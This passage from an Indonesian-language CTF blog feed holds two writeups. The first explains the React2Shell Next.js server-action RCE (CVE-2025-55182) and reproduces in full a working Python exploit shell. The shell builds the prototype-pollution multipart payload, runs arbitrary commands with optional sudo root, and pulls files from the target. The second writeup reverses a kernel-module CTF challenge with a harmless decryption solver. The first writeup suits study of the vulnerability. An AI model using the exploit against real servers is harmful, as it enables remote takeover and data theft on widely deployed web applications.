  &quot;status&quot;: &quot;resolved_model&quot;,
  &quot;_response&quot;: {
    &quot;_prefix&quot;: &quot;INJECTED_CODE_HERE&quot;,
    &quot;_formData&quot;: {
      &quot;get&quot;: &quot;$1:constructor:constructor&quot;
    }
  }
}
```

### 2. **Prototype Pollution Chain**

Dengan menggunakan `__proto__` accessor, payload bisa:

- Pollute JavaScript object prototype
- Inject malicious `then` handler
- Access `constructor.constructor` (yang basically adalah `Function` constructor)

### 3. **Code Execution via `_prefix`**

Di property `_prefix`, script inject Node.js code yang:

```javascript
var res = process.mainModule
  .require(&apos;child_process&apos;)
  .execSync(&apos;COMMAND_HERE&apos;, { timeout: 5000 })
  .toString(&apos;base64&apos;)
```

Ini akan:

- Load `child_process` module
- Execute command yang kita mau
- Convert output ke base64
- Return output via redirect dengan format: `NEXT_REDIRECT;push;/login?a=${res};307;`

### 4. **Output Extraction**

Server bakal redirect ke `/login?a=BASE64_OUTPUT` dan script tinggal extract base64 data dari:

- `X-Action-Redirect` header, atau
- `Location` header

## The Exploit Script

Gw langsung cari script exploit nya di github dan dapet script yang udah include shell interaktif dengan features:

- Root mode toggle (execute as sudo)
- Command history
- File download via base64 encoding
- Working directory tracking

```py
#!/usr/bin/env python3
&quot;&quot;&quot;
React2Shell - CVE-2025-55182 Exploitation Suite
Provides better command execution and output handling with root support
Standalone Version - No external dependencies
&quot;&quot;&quot;
import sys
import os
import readline
import base64
import re
import random
import string
import time
from datetime import datetime
from urllib.parse import urlparse, unquote

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print(&quot;Error: &apos;requests&apos; library required. Install with: pip install requests&quot;)
    sys.exit(1)

# Colors
RED = &apos;\033[91m&apos;
GREEN = &apos;\033[92m&apos;
YELLOW = &apos;\033[93m&apos;
BLUE = &apos;\033[94m&apos;
MAGENTA = &apos;\033[95m&apos;
CYAN = &apos;\033[96m&apos;
RESET = &apos;\033[0m&apos;
BOLD = &apos;\033[1m&apos;

class EnhancedShell:
    def __init__(self, target_url):
        self.target = target_url
        self.history_file = &quot;.shell_history&quot;
        self.root_mode = False
        self.current_dir = None
        self.session = requests.Session()
        self.session.verify = False
        self.setup_readline()

    def setup_readline(self):
        &quot;&quot;&quot;Setup command history&quot;&quot;&quot;
        try:
            readline.read_history_file(self.history_file)
        except FileNotFoundError:
            pass
        readline.set_history_length(1000)

    def save_history(self):
        &quot;&quot;&quot;Save command history&quot;&quot;&quot;
        readline.write_history_file(self.history_file)

    def generate_junk_data(self, size_bytes):
        param_name = &apos;&apos;.join(random.choices(string.ascii_lowercase, k=12))
        junk = &apos;&apos;.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
        return param_name, junk

    def build_payload(self, cmd):
        &quot;&quot;&quot;Construct the CVE-2025-55182 Multipart Payload&quot;&quot;&quot;
        boundary = &quot;----WebKitFormBoundaryx8jO2oVc6SWP3Sad&quot;
        cmd_escaped = cmd.replace(&quot;&apos;&quot;, &quot;\\&apos;&quot;)

        # Core RCE Logic
        prefix_payload = (
            f&quot;var res=process.mainModule.require(&apos;child_process&apos;).execSync(&apos;{cmd_escaped}&apos;,{{&apos;timeout&apos;:5000}}).toString(&apos;base64&apos;);&quot;
            f&quot;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;), {{digest:`NEXT_REDIRECT;push;/login?a=${{res}};307;`}});&quot;
        )

        part0 = (
            &apos;{&quot;then&quot;:&quot;$1:__proto__:then&quot;,&quot;status&quot;:&quot;resolved_model&quot;,&quot;reason&quot;:-1,&apos;
            &apos;&quot;value&quot;:&quot;{\\&quot;then\\&quot;:\\&quot;$B1337\\&quot;}&quot;,&quot;_response&quot;:{&quot;_prefix&quot;:&quot;&apos;
            + prefix_payload
            + &apos;&quot;,&quot;_chunks&quot;:&quot;$Q2&quot;,&quot;_formData&quot;:{&quot;get&quot;:&quot;$1:constructor:constructor&quot;}}}&apos;
        )

        parts = []
        parts.append(
            f&quot;------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n&quot;
            f&apos;Content-Disposition: form-data; name=&quot;0&quot;\r\n\r\n&apos;
            f&quot;{part0}\r\n&quot;
        )
        parts.append(
            f&quot;------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n&quot;
            f&apos;Content-Disposition: form-data; name=&quot;1&quot;\r\n\r\n&apos;
            f&apos;&quot;$@0&quot;\r\n&apos;
        )
        parts.append(
            f&quot;------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n&quot;
            f&apos;Content-Disposition: form-data; name=&quot;2&quot;\r\n\r\n&apos;
            f&quot;[]\r\n&quot;
        )
        parts.append(&quot;------WebKitFormBoundaryx8jO2oVc6SWP3Sad--&quot;)

        body = &quot;&quot;.join(parts)
        content_type = f&quot;multipart/form-data; boundary={boundary}&quot;
        return body, content_type

    def execute_command(self, command, update_cwd=False):
        &quot;&quot;&quot;Execute command via HTTP Request&quot;&quot;&quot;

        # Prepare command with CWD and Root handling
        cmd_with_dir = command
        if self.current_dir:
            cmd_with_dir = f&quot;cd {self.current_dir} &amp;&amp; {command}&quot;

        if self.root_mode:
            # Base64 Pipe Strategy
            cmd_b64 = base64.b64encode(cmd_with_dir.encode()).decode()
            final_cmd = f&apos;echo {cmd_b64} | base64 -d | sudo -i 2&gt;&amp;1 || true&apos;
        else:
            final_cmd = f&quot;({cmd_with_dir}) 2&gt;&amp;1 || true&quot;

        # Build Payload
        body, content_type = self.build_payload(final_cmd)

        headers = {
            &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36&quot;,
            &quot;Next-Action&quot;: &quot;x&quot;,
            &quot;X-Nextjs-Request-Id&quot;: &quot;b5dce965&quot;,
            &quot;Content-Type&quot;: content_type,
            &quot;X-Nextjs-Html-Request-Id&quot;: &quot;SSTMXm7OJ_g0Ncx6jpQt9&quot;,
        }

        try:
            # Send Request
            response = self.session.post(
                self.target,
                headers=headers,
                data=body,
                timeout=15,
                allow_redirects=False
            )

            # Parse Output using Regex
            # 1. Check X-Action-Redirect header
            redirect_header = response.headers.get(&quot;X-Action-Redirect&quot;, &quot;&quot;)
            match = re.search(r&apos;.*/login\?a=(.*?)(?:;|$)&apos;, redirect_header)

            if not match:
                # 2. Check Location header
                location_header = response.headers.get(&quot;Location&quot;, &quot;&quot;)
                match = re.search(r&apos;login\?a=(.*?)(?:;|$)&apos;, location_header)

            if match:
                output_b64 = match.group(1)
                try:
                    decoded = base64.b64decode(unquote(output_b64)).decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
                    return decoded.strip()
                except Exception as e:
                    return f&quot;{RED}[-] Failed to decode output: {e}{RESET}&quot;
            else:
                return f&quot;{YELLOW}[!] No output in response (Status: {response.status_code}){RESET}&quot;

        except requests.exceptions.Timeout:
            return f&quot;{RED}[-] Request timed out{RESET}&quot;
        except Exception as e:
            return f&quot;{RED}[-] Request error: {e}{RESET}&quot;

    def print_banner(self):
        &quot;&quot;&quot;Print shell banner&quot;&quot;&quot;
        # Fixed width of 60 for inner content
        print(f&quot;{BOLD}{CYAN}╔{&apos;═&apos; * 60}╗{RESET}&quot;)

        # Title centering (Content 31 chars)
        # 60 - 31 = 29 spaces -&gt; 14 left, 15 right
        print(f&quot;{BOLD}{CYAN}║{RESET}{&apos; &apos; * 14}{BOLD}{GREEN}React2Shell - Next.js RCE Shell{RESET}{&apos; &apos; * 15}{BOLD}{CYAN}║{RESET}&quot;)

        # Target line (Prefix 10 chars, Suffix 2 chars -&gt; 48 chars for target)
        # Using slice to prevent overflow breaking layout
        target_display = (self.target[:45] + &apos;...&apos;) if len(self.target) &gt; 48 else self.target
        print(f&quot;{BOLD}{CYAN}║{RESET}  {YELLOW}Target:{RESET} {target_display:&lt;48}  {BOLD}{CYAN}║{RESET}&quot;)

        # Root Mode line (Prefix 13 chars, Suffix 2 chars -&gt; 45 chars for status)
        status = &apos;ON&apos; if self.root_mode else &apos;OFF&apos;
        print(f&quot;{BOLD}{CYAN}║{RESET}  {YELLOW}Root Mode:{RESET} {status:&lt;45}  {BOLD}{CYAN}║{RESET}&quot;)

        # Type line (Prefix 36 chars. 60 - 36 = 24 spaces padding)
        print(f&quot;{BOLD}{CYAN}║{RESET}  {MAGENTA}Type:{RESET} Standalone (No Dependencies){&apos; &apos; * 24}{BOLD}{CYAN}║{RESET}&quot;)

        print(f&quot;{BOLD}{CYAN}╚{&apos;═&apos; * 60}╝{RESET}&quot;)
        print(f&quot;\n{BOLD}Commands:{RESET}&quot;)
        print(f&quot;  {GREEN}.root{RESET}     - Toggle root mode (sudo -i)&quot;)
        print(f&quot;  {GREEN}.save{RESET}     - Save output to file&quot;)
        print(f&quot;  {GREEN}.download{RESET} - Download file from target&quot;)
        print(f&quot;  {GREEN}.exit{RESET}     - Exit shell&quot;)
        print(f&quot;  {GREEN}.help{RESET}     - Show this help\n&quot;)

    def toggle_root_mode(self):
        &quot;&quot;&quot;Toggle root mode&quot;&quot;&quot;
        self.root_mode = not self.root_mode
        status = f&quot;{GREEN}ENABLED{RESET}&quot; if self.root_mode else f&quot;{RED}DISABLED{RESET}&quot;
        print(f&quot;{YELLOW}[*]{RESET} Root mode {status}&quot;)

    def save_output(self, output, filename=None):
        &quot;&quot;&quot;Save output to file&quot;&quot;&quot;
        if not filename:
            timestamp = datetime.now().strftime(&quot;%Y%m%d_%H%M%S&quot;)
            filename = f&quot;output_{timestamp}.txt&quot;

        try:
            with open(filename, &apos;w&apos;) as f:
                f.write(output)
            print(f&quot;{GREEN}[+]{RESET} Output saved to: {os.path.abspath(filename)}&quot;)
        except Exception as e:
            print(f&quot;{RED}[-]{RESET} Error saving file: {e}&quot;)

    def download_file(self, remote_path, local_path=None):
        &quot;&quot;&quot;Download file from target used base64 encoding&quot;&quot;&quot;
        if not local_path:
            local_path = f&quot;downloaded/{os.path.basename(remote_path)}&quot;

        os.makedirs(os.path.dirname(os.path.abspath(local_path)), exist_ok=True)

        # Read file via base64 to handle binary data
        print(f&quot;{YELLOW}[*]{RESET} Downloading {remote_path} (via base64)...&quot;)
        # -w0 to avoid newlines breaking things
        b64_output = self.execute_command(f&quot;base64 -w0 {remote_path}&quot;)

        if b64_output and &quot;No output&quot; not in b64_output:
            try:
                import base64
                # Clean up any whitespace/newlines that might have snuck in (though filter should catch them)
                clean_b64 = b64_output.replace(&apos;\n&apos;, &apos;&apos;).replace(&apos;\r&apos;, &apos;&apos;).strip()
                file_data = base64.b64decode(clean_b64)

                with open(local_path, &apos;wb&apos;) as f:
                    f.write(file_data)
                print(f&quot;{GREEN}[+]{RESET} Downloaded to: {os.path.abspath(local_path)}&quot;)
                print(f&quot;{GREEN}[+]{RESET} Size: {len(file_data)} bytes&quot;)
            except Exception as e:
                print(f&quot;{RED}[-]{RESET} Failed to decode base64 data: {str(e)}&quot;)
                # Save raw output just in case
                with open(local_path + &quot;.b64&quot;, &apos;w&apos;) as f:
                    f.write(b64_output)
                print(f&quot;{YELLOW}[*]{RESET} Raw base64 saved to {local_path}.b64 for analysis&quot;)
        else:
            print(f&quot;{RED}[-]{RESET} Failed to download file (empty or error)&quot;)

    def update_working_directory(self):
        &quot;&quot;&quot;Initialize or update working directory&quot;&quot;&quot;
        cwd = self.execute_command(&quot;pwd&quot;)
        if cwd and &quot;/&quot; in cwd:
            self.current_dir = cwd.split(&apos;\n&apos;)[0].strip()

    def handle_cd(self, path):
        &quot;&quot;&quot;Handle cd command specially&quot;&quot;&quot;
        # Formulate a check command: cd &lt;dest&gt; &amp;&amp; pwd
        check_cmd = f&quot;cd {path} &amp;&amp; pwd&quot;
        output = self.execute_command(check_cmd)

        if output and output.startswith(&quot;/&quot;):
            new_dir = output.split(&apos;\n&apos;)[0].strip()
            self.current_dir = new_dir
            # Don&apos;t print pwd output, just silent success like real cd
        else:
            print(output or f&quot;{RED}[-]{RESET} Directory not found&quot;)

    def run(self):
        &quot;&quot;&quot;Main shell loop&quot;&quot;&quot;
        self.print_banner()

        # Initial CWD fetch
        print(f&quot;{YELLOW}[*]{RESET} Initializing shell...&quot;)
        self.update_working_directory()

        last_output = &quot;&quot;

        try:
            while True:
                try:
                    # Dynamic Prompt
                    prompt_user = f&quot;{BOLD}{RED}root{RESET}&quot; if self.root_mode else f&quot;{BOLD}{GREEN}ubuntu{RESET}&quot;
                    prompt_dir = f&quot;{BOLD}{BLUE}{self.current_dir or &apos;~&apos;}{RESET}&quot;
                    # Simple hostname since we don&apos;t scan for it every time
                    prompt = f&quot;{prompt_user}@{BOLD}{CYAN}target{RESET}:{prompt_dir}$ &quot;

                    command = input(prompt).strip()

                    if not command:
                        continue

                    # Handle special commands
                    if command == &quot;.exit&quot;:
                        break
                    elif command == &quot;.root&quot;:
                        self.toggle_root_mode()
                        # Re-fetch CWD for new user context
                        self.current_dir = None
                        self.update_working_directory()
                        continue
                    elif command == &quot;.help&quot;:
                        self.print_banner()
                        continue
                    elif command == &quot;.save&quot;:
                        if last_output:
                            self.save_output(last_output)
                        else:
                            print(f&quot;{RED}[-]{RESET} No output to save&quot;)
                        continue
                    elif command.split()[0] in [&quot;.download&quot;, &quot;.dl&quot;]:
                        parts = command.split()
                        if len(parts) &lt; 2:
                            print(f&quot;{YELLOW}[!] Usage: .download &lt;remote_file&gt; [local_path]{RESET}&quot;)
                            continue
                        remote_path = parts[1]
                        local_path = parts[2] if len(parts) &gt; 2 else None
                        self.download_file(remote_path, local_path)
                        continue
                    elif command.strip().startswith(&quot;cd &quot;):
                        path = command.strip().split(&quot; &quot;, 1)[1]
                        self.handle_cd(path)
                        continue

                    # Execute command
                    output = self.execute_command(command)
                    last_output = output

                    if output:
                        print(output)

                except KeyboardInterrupt:
                    print(f&quot;\n{YELLOW}[!]{RESET} Use .exit to quit&quot;)
                    continue
                except Exception as e:
                    print(f&quot;{RED}[-]{RESET} Error: {str(e)}&quot;)

        finally:
            self.save_history()
            print(f&quot;\n{GREEN}[+]{RESET} Shell session ended&quot;)

if __name__ == &quot;__main__&quot;:
    import argparse
    parser = argparse.ArgumentParser(description=&quot;React2Shell - Standalone Next.js RCE Shell&quot;)
    parser.add_argument(&quot;-u&quot;, &quot;--url&quot;, required=True, help=&quot;Target URL (e.g., https://example.com/)&quot;)

    args = parser.parse_args()

    shell = EnhancedShell(args.url)
    shell.run()
```

## Exploitation &amp; Flag Capture

Setelah dapet script, tinggal run exploit dengan target URL dari challenge:

```bash
python3 react2shell.py -u http://target-url/
```

Script ini bakal:

1. Initialize shell connection ke target
2. Fetch working directory untuk tracking `pwd`
3. Provide interactive shell prompt

Dari sini gw bisa execute commands seperti:

- `ls` - list files
- `cat flag.txt` - read flag file
- `.root` - toggle root mode kalau perlu privilege escalation
- `.download flag.txt` - download file dari server

Dan akhirnya dapet flagnya! 🚩

![](flag.png)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>ctf</category><author>b4r</author></item><item><title>reversing linux kernel is easy (?)</title><link>https://baradika.web.id/blog/astro/</link><guid isPermaLink="true">https://baradika.web.id/blog/astro/</guid><description>a writeup of astroctf 2025 rev/ghost</description><pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate><content:encoded>![](deskripsi.png)

# Walkthrough

Diberikan sebuah binary `.ko` (kernel module) bernama `ghost.ko`. Karena ini adalah kernel module, kita bisa expect ada init function dan exit function.

Langsung aja buka di IDA/Ghidra.

## 1. Analysis: The Init Function

Di fungsi `ghost_init`, kita melihat ada beberapa setup penting.

![](t1.png)

Module ini mencoba membuat entry di `/proc/ghost4301`. Hal yang menarik ada di logic pengecekannya:

```c
    ghost_len = i;
    uint64_t rax_1 = proc_create(&quot;ghost4301&quot;, 0x124, 0, &amp;ghost_fops);
    ghost_entry = rax_1;

    if (!rax_1)
        _printk(0x400210, &quot;ghost4301&quot;);
    else
    {
        _printk(0x4002b1,
            &quot;ghost4301_telemetry\nz[i] = rotl8((flag[i]^key[i%7] + poly(i)), (3*i)%8)\npoly(i) = i^3 + &quot;
        &quot;7*i^2 + 13*i + 37 (mod 256)\n&quot;);
        _printk(0x4002b1, &quot;key[7] = {0x13,0x37,0x42,0xA5,0x5C,0x9E,0x11}\n&quot;);
        _printk(0x400238, &quot;ghost4301&quot;);
    }
```

Jika `proc_create` **BERHASIL** (rax_1 != 0), dia malah nge-print &quot;telemetry&quot; yang berisi **rumus enkripsi** dan **key**-nya. Ini behaviour yang agak unik, biasanya error message yang diprint kalau gagal.

Dari `printk` tersebut, kita dapat informasi vital:

1. **Encryption Formula**: `z[i] = rotl8((flag[i]^key[i%7] + poly(i)), (3*i)%8)`
2. **Key**: `{0x13, 0x37, 0x42, 0xA5, 0x5C, 0x9E, 0x11}`
3. **Polynomial**: `poly(i) = i^3 + 7*i^2 + 13*i + 37 (mod 256)`

## 2. Extracting the Ciphertext

Kalau kita lihat di awal fungsi `ghost_init`, ada loop yang nge-print &quot;telemetry frames&quot;:

```c
            i += scnprintf(i + &amp;ghost_buf, 0x200 - i, &quot;frame[%d] = 0x%016llx\n&quot;, rcx_1,
                *((r14_1 &lt;&lt; 3) + &amp;ghost_blob));
```

Loop ini membaca data dari `ghost_blob` dan menampilkannya sebagai 64-bit integers (`0x%016llx`).

Kita bisa ekstrak data ini langsung dari file binary `.ko` menggunakan `readelf` atau objdump. Kita cari section `.rodata` atau symbol `ghost_blob`.

![](readelf.png)

Kita temukan blok data 40 bytes yang mencurigakan di string dump atau rodata:

```
70 9A 2C C1 3B 5E F4 77
F2 41 12 64 BA 4C 5D B1
90 6D CA 2D 3F AD 1F 66
9E D4 25 42 F6 E1 94 17
AA AA AA AA AA DB 4D 31
```

Ini kemungkinan besar adalah ciphertext `z` kita.

## 3. The Solver Strategy

Dari rumus enkripsi:
`z[i] = rotl8((flag[i] ^ key[i%7] + poly(i)), (3*i)%8)`

Kita harus melakukan operasi kebalikannya (decryption) urut dari luar ke dalam:

1. **Rotate Right**: Kebalikan dari `rotl8` adalah `rotr8`.
2. **Subtract Poly**: Kebalikan dari `+ poly(i)` adalah `- poly(i)`.
3. **XOR Key**: Kebalikan dari `^ key` adalah `^ key` (XOR adalah inversenya sendiri).

Jadi rumus dekripsinya:
`flag[i] = rotr8(z[i], (3*i)%8) - poly(i) ^ key[i%7]`

### Attempt 1: Naive Solve

Awalnya gw coba solve langsung byte-per-byte sesuai urutan dump:

```py
z_raw = bytes.fromhex(&quot;&quot;&quot;
70 9A 2C C1 3B 5E F4 77
F2 41 12 64 BA 4C 5D B1
90 6D CA 2D 3F AD 1F 66
9E D4 25 42 F6 E1 94 17
AA AA AA AA AA DB 4D 31
&quot;&quot;&quot;)
# ... decryption loop ...
```

Tapi hasilnya **gagal**. Outputnya cuma sampah binary yang gak membentuk flag.`

### Attempt 2: Addressing Endianness

Gw sadar ada yang aneh. Di code `ghost_init`, data dibaca sebagai `unsigned long long` (64-bit) dan diprint dengan format `%016llx`.

```c
*((r14_1 &lt;&lt; 3) + &amp;ghost_blob)
```

Di arsitektur x86 (Little Endian), ketika kita baca 8 byte &quot;A B C D E F G H&quot; sebagai satu integer 64-bit, nilainya jadi `0xHGFEDCBA`.

Jadi, data raw yang kita copy (kalau kita asumsi itu dari print output atau cara storage kernel) perlu kita **reverse per 8 byte** untuk mendapatkan urutan byte asli yang dimaksud oleh enkripsi byte-per-byte.

Code fix-nya:

```py
z = b&apos;&apos;.join(
    z_raw[i:i+8][::-1]
    for i in range(0, len(z_raw), 8)
)
```

## 4. Final Solver Script

Berikut script solver lengkapnya:

```python
z_raw = bytes.fromhex(&quot;&quot;&quot;
70 9A 2C C1 3B 5E F4 77
F2 41 12 64 BA 4C 5D B1
90 6D CA 2D 3F AD 1F 66
9E D4 25 42 F6 E1 94 17
AA AA AA AA AA DB 4D 31
&quot;&quot;&quot;)

# Reverse every 8 bytes chunk to fix endianness
z = b&apos;&apos;.join(
    z_raw[i:i+8][::-1]
    for i in range(0, len(z_raw), 8)
)

key = [0x13,0x37,0x42,0xA5,0x5C,0x9E,0x11]

def poly(i):
    return (i**3 + 7*i**2 + 13*i + 37) % 256

def rotr8(x, r):
    r &amp;= 7
    return ((x &gt;&gt; r) | (x &lt;&lt; (8-r))) &amp; 0xFF

flag = []
for i, c in enumerate(z):
    # 1. Reverse rotation
    x = rotr8(c, (3*i) % 8)

    # 2. Reverse addition (subtract)
    x = (x - poly(i)) &amp; 0xFF

    # 3. Reverse XOR
    x ^= key[i % 7]

    flag.append(x)

print(bytes(flag))
```

![](flag.png)</content:encoded><category>reverse engineering</category><category>linux kernel</category><category>ctf</category><author>b4r</author></item></channel></rss>